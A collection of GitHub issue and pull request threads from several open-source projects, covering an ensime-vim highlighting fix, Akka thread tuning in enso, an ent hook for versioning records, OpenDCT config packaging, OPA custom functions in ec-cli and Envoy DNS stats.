I believe this fixes the issue—the highlighting only works for me in GUI, not on console, but I think that's something with my setup or something that wasn't changed by #328 anyway. This feature is still kinda janky altogether, I made notes in #328 about the logic for the highlighting group customization seemingly not making sense, etc.
It'd be good to add a test or two but it would be a bit hairy to do, so I'll save that until the further Editor API improvements, and maybe we can give this feature a little love overall.
Closes #339. @gigiigig you might be happy with Syntastic now, but if you're able to try this with it disabled and confirm if it restores the behavior you had before, that'd be awesome.

@ches I tried this and it works for me, thanks for the quick fix!

Working for me as well.
LGTM

authors: ches gigiigig ktonga

repo: ensime/ensime-vim


text:
View unit tests PoC

Pull Request Description
WIP
Important Notes

Checklist
Please include the following checklist in your PR:

[ ] The documentation has been updated if necessary.
[ ] All code conforms to the Scala, Java, and Rust style guides.
[ ] All documentation and configuration conforms to the markdown and YAML style guides.
[ ] All code has been tested where possible.

Closing until an abstraction for WebGl2RenderingContext will be implemented

repo: enso-org/enso


text:
Reduced resources for various Akka dispatchers

Pull Request Description
The defaults picked up by Akka tend to make us of all resources which is unnecessary and overwhelming for tests.
Improves #8806, potentially.
Before

After

when running the problematic LibrariesTest.
Important Notes
Note that Executors assigned to Zio and initializers should also be improved. Unfortunately due to various blocking threadpools  it is easy to get timeouts when running the whole suite.
Checklist
Please ensure that the following checklist has been satisfied before submitting the PR:

[ ] The documentation has been updated, if necessary.
[ ] Screenshots/screencasts have been attached, if there are any visual changes. For interactive or animated visual changes, a screencast is preferred.
[x] All code follows the
Scala,
Java,
and
Rust
style guides. In case you are using a language not listed above, follow the Rust style guide.
All code has been tested:

[x] Unit tests have been written where possible.
[ ] If GUI codebase was changed, the GUI was tested when built using ./run ide build.

defaults picked up by Akka tend to make us(e) of all resources which is unnecessary and overwhelming for tests.

That's unnecessary for an application/web server that handles single client 95% of times as well!

I've managed to cut threads by half when running full language-server suite.
There are still areas to improve as indicated by the following screenshots:

The whole ZIO stuff is a real PITA to configure, at least in the current setting. But it is also the most expensive so probably worth looking into.
http-requests threads are from our implementation of http downloader which a) uses Akka (one unicorn dies) b) does not terminate Akka system until the whole process dies (another unicorn dies). I'm very much in favour of just ditching akka in that library and replacing the logic with something simpler.
Some random threads that are not being shutdown

So far, I think this PR improves the state.

http-requests threads are from our implementation of http downloader which a) uses Akka (one unicorn dies) b) does not terminate Akka system until the whole process dies (another unicorn dies). I'm very much in favour of just ditching akka in that library and replacing the logic with something simpler.

@hubertp FYI: That is tracked in https://github.com/enso-org/enso/issues/8222

authors: Akirathan JaroslavTulach hubertp


text:
storing versions with mutation hook?

I want to store the historical information of one table in another table.
For example, I want to store the history of table settings in history table setting-versions.
To do this, I am thinking of using the schema mutation hook, but is there any way to insert a record to another schema within the mutation hook for a particular schema like below?
func (Setting) Hooks() []ent.Hook {
	return []ent.Hook{
		func(next ent.Mutator) ent.Mutator {
			return hook.SettingFunc(func(ctx context.Context, m *gen.SettingMutation) (ent.Value, error) {
                                 // get create/update mutation information for `Setting`, or query old data  of the schema here
                                 // then, do some operations to insert version data to `SettingVersion` schema here. However, I have no idea to do this.
				return next.Mutate(ctx, m)
			})
		},
	}
}

Or if there is a better way, I would like to know.

Hey @shota-hizawa
Thanks for reaching out.
You can read about our approach to the problem in this blog post:
https://entgo.io/blog/2022/04/07/how-twitter-can-implement
In the post you'll find a link to an example repo with some code examples.
We will most likely work on open sourcing an official Ent extension for enthistory in the future, but in the meantime this can get you started.

Hey @shota-hizawa 👋
Like Rotem mentioned, enthisotry is a great reference for such an implementation. But for your question, this can be implemented as follows:
h := hook.SettingFunc(func(ctx context.Context, m *gen.SettingMutation) (ent.Value, error) {
	tx, err := m.Tx() // Or, m.Client()
	if err != nil {
		// Fail if the operation is not running within a transaction.
		return nil, err
	}
	// Save another record in the setting-versions table.
	if err := tx.SettingVersion.Create().Set...().Exec(ctx); err != nil {
		return nil, err
	}
	return next.Mutate(ctx, m)
})

Please, let me know if you need more help or we can close this issue. Thanks 🙏

Closing, but please feel free to reopen or join our Discord community if you still need help with this 😎

Hi, @rotemtam @a8m
I appreciate your quick reply.
These sample codes really helped me!
I am also looking forward to enthisotry feature will be released☺
Thank you.

authors: a8m rotemtam shota-hizawa

repo: ent/ent


text:
Wrong repository mentioned in Clone and set up section

The Clone and Setup section suggests to clone common-components.git , this should be app-builder.git

This has been fixed in the docs and deployed. Thanks for the ticket @AngeloHulshout. Greatly appreciated.  If you want you can also contribute directly to the documentation by forking this project and submitting pull requests
https://github.com/entando/entando-docs

@joewhite101 I will in future cases.

@joewhite101 updated, but not yet published on docs.entando.com?

Hey @AngeloHulshout published now. Good catch. I missed a push.

repo: entando/entando-docs


text:
opendct.properties is being overwritten on install.

Need to ensure opendct.properties is not included in the install, so it is retained on reinstalls.
if defaults are wanted in file form, instead of just in the code (sagetv simply sets defaults in code the first time a property is accessed), then it needs to be a different file that is copied to opendct.properties on launch if the .properties file is missing, and ignored if the .properties file is already there.

This does bring up another issue I've been meaning to look into.  I think it might be wise to include the docker image in the actual project, so it is generated much like the .deb and rpm, etc.  In this way, the actual build would be IN the image, and it would not need in install on start situation, it would simply be updated by the user from the docker when an update is available.

This is of course depending on there being a docker plugin for gradle to deal with building the image.

Looks like there IS a plugin in the wild here: https://github.com/Transmode/gradle-docker
I just don't know enough about gradle (anything, really) to make sense of it.

The other issue with the docker image not including the build, is it forces us to put the application (/opt/opendct) in appdata space, which shouldn't really be necessary, just to persist the install in case there is no internet when it is launched (happened to me a few times, where openDCT would not launch because there was no internet to install it into the container's ramdisk).  Getting the version IN the image just makes the entire container that much simpler, and it's not like it makes it harder to update versions for the end user.

I believe you end up needing an internet connection regardless of how you launch the container. This is a complaint I hear about Docker sometimes (but I think it's specific to unRAID). For reference, there are tons of containers that work the way you have OpenDCT working right now. Take a look at all of the ones that pull the latest git commit on every launch like SickRage for example. The install doesn't disappear when you restart the container. It only disappears if you recreate the container or make changes to the container.

the first few images I made were with the install baked in.  Worked great without internet connectivity.  It was only when I changed it to get the newest version on launch that it would hang up (because it couldn't download).  For me, the issues were after a power outage, my server would be up often times before the cable modem would sync up, so the container would launch, and then just quit out.  Changing the image to write to a share made it better, because then the install was still there, and it could just ignore the failed install - but that's still a cludge at best.
The only dockers i have that run the binaries outside the image, are SageTV, and OpenDCT.  Both of which, I believe, would benefit from pairing the docker image with the build.

Here's just a few examples from a popular repo:
https://github.com/linuxserver/docker-sickrage/blob/master/root/etc/cont-init.d/30-install
https://github.com/linuxserver/docker-plex/blob/master/root/etc/cont-init.d/50-plex-update
https://github.com/linuxserver/docker-couchpotato/blob/master/root/etc/cont-init.d/30-install
https://github.com/linuxserver/docker-radarr/blob/master/Dockerfile
What do they all have in common? They all download their binary fresh from the source and install it within the container, then redirect configuration to persistent storage. The way you have OpenDCT packaged today, it's doing the same thing. The actual exectable binary is being installed inside of the container and the configuration and logging is being place on persistent storage. I do not see a different. The scripting in the OpenDCT container should be updated to just go with the current install when the internet is not available.
SageTV is still an outlier because it's configuration prevents us from even being able to do clever symlinks for specific files because it will break them as it saves new data. Also plugins are fairly unstructured which is it's own problem that I want to address eventually. Until someone fixes these problems, SageTV will be a special case.
Having the image is a convenience and I will take a closer look at it eventually, but some of the reason I have not done anything in this direction yet is because I would like to be able to still update for all platforms on one OS and not need to sync between Windows and Linux for every update.

Could the original problem (opendct.properties overwritten on install) be addressed by marking the opendct.properties as a config file when building the rpm/deb? That way, an rpm/deb update of the package would only overwrite opendct.properties if it has not changed.

Nevermind, it looks like it is already being marked as a config file!

I also changed the Linux installer to lay down opendct.properties.default (instead of opendct.properties) for anyone that wants something to work with initially before actually running OpenDCT. opendct.properties has always been able to be fully built by just running OpenDCT. The out of the box properties file is just a requested convenience.

authors: CraziFuzzy enternoescape jwittkoski

repo: enternoescape/opendct


text:
Figure out how to run unit tests in ec-policies that use custom function

Description
The function introduced in https://github.com/enterprise-contract/ec-cli/issues/1070 means that a policy rule could write something like this:
ec.fetch_oci_bundle(ref)

Plain OPA doesn't know anything about that function. If a policy rule in ec-policies wants to use that function, this error will occur in the tests:
rego_unsafe_var_error: var ec is unsafe

If we try to mock that in the tests by using the with keyword:
rego_type_error: with keyword target must reference existing input, data, or a function

One option could be to wrap the opa command in ec-cli.
This also raises the question of how we can mock those functions. We don't want to actually hit a registry during the unit tests, for example.
Acceptance Criteria

ec-provided custom rego functions can be used in ec-policies without
breaking tests.

Do we need ec policy test command?

Maybe? That might be nicer than just wrapping the whole opa command. It should be compatible with opa test though. So wrapping may still be involved here.

I've asked OPA maintainers about bringing back shared library support for loading plugins into OPA. This is not something that will be considered in OPA's future.
Based on this I think the best option would be to add support for running tests into ec, most likely based on this pattern.
Perhaps we can have ec opa command that would behave exactly the same as opa?

authors: lcarva zregvart

repo: enterprise-contract/ec-cli


text:
Limit uploads bases on filetype frontend + backend

Only allow uploads of certain types in the frontend and backend
add it to typeInfo

wrong repo...


text:
Const vars can be optimized into string blocks

Const variables can be optimized if they're touching a string block, saving an add call

import macros
const foo = "foo baa"

macro dd(v: typed) =
  when v is static:
    echo "static!"
  else:
    echo "NON static!"
  if v.symKind == nskConst:
    echo "const!"
  else:
    echo "NON const"

dd(foo)

It seems this is a hard issue: https://forum.nim-lang.org/t/9283


text:
fix(observability): eventbridge rule target limit issue

This commit is actually just a comment.  I am making this commit to get a commit message that matches the format needed by the semantic-release/commit-analyzer

Error: This repo is not allowlisted for Atlantis.

authors: DI-DaveGoodine svc-git-sre

repo: enverus-cts/terraform-aws-github-runner


text:
stats: jni layer change

Description: jni layer change for cardinality support. this pr does not change ios behavior for pulse.
Risk Level: medium
Testing: ci and manually deployed to lyft ios and android app in local dev environment

Looks good so far, just some comments on naming.

repo: envoyproxy/envoy-mobile


text:
Observability on cluster dns resolving?

Cluster configuration allows for detailed control over Envoy's behaviour as dns client 👍 But I cannot find any stats on dns resolving performance. Is there a way to get observability on this?
(I've seen AWS/Azure's vpc resolver's rate limiting kick in due to too many request/s with other sw, so I'd love to keep an eye on this)

What stats are you looking for exactly? There are stats on success/failure/etc.

The stats I am looking for would indeed be number of successful requests, unanswered, etc: anything that can be used to determine dns resolving is not 100% working and hence cluster upstream connectivity is impacted.
In case there is cluster specific resolver configured it would good to have stats on the interaction with that specific resolver. (As nice to have perhaps resolve latency to dig into service time).
Good to hear there are stats on this! I just cannot find them.. I checked:
https://www.envoyproxy.io/docs/envoy/latest/configuration/upstream/cluster_manager/cluster_stats
/stats
Could you point me in the right direction?
(The dns filter does have a stats prefix, but that does not apply to dns resolving for a cluster, right?)

See update_attempt, update_failure, etc. IIRC these are incremented for DNS service discovery. Doc updates appreciated.

Thx for the pointer, indeed: according to logical_dns_cluster.cc: update_attempt, update_success and update_failure are the ones for DNS resolution attempts. Will submit doc fix.

repo: envoyproxy/envoy